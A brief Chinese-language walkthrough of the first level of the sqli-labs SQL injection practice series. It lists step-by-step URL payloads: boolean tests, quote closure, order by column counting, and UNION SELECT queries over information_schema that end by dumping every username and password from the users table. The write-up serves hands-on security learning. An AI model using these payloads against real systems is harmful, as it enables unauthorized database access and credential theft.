SQLI DUMB SERIES-1思路
首先判断要输入的是否为整型(整型不需要构造闭合 可以直接改变逻辑)
?id=1 and 1=1/?id=1 and 1=2 查看逻辑对错是否改变回显,判断数据库交互 逻辑错误不返回值 逻辑正确会返回值 真 假
?id=-1’构造闭合
?id=1’ and 1=1/?id=1’ and 1=2 查看逻辑对错是否改变回显,判断数据库交互 逻辑错误不返回值 逻辑正确会返回值 真 假
order by猜列数
?id=-1’ union all select 1,2,database() from users --+ ?id=-1’ union all select 1,2,3 from information_schema --+ 报错型 以上两种方法得知库名为security
?id=-1’ union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+ table_name:emails,referers,uagents,users
?id=-1’ union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+ column_name:id,username,password
?id=-1’ union all select 1,group_concat(username),group_concat(password) from security.users --+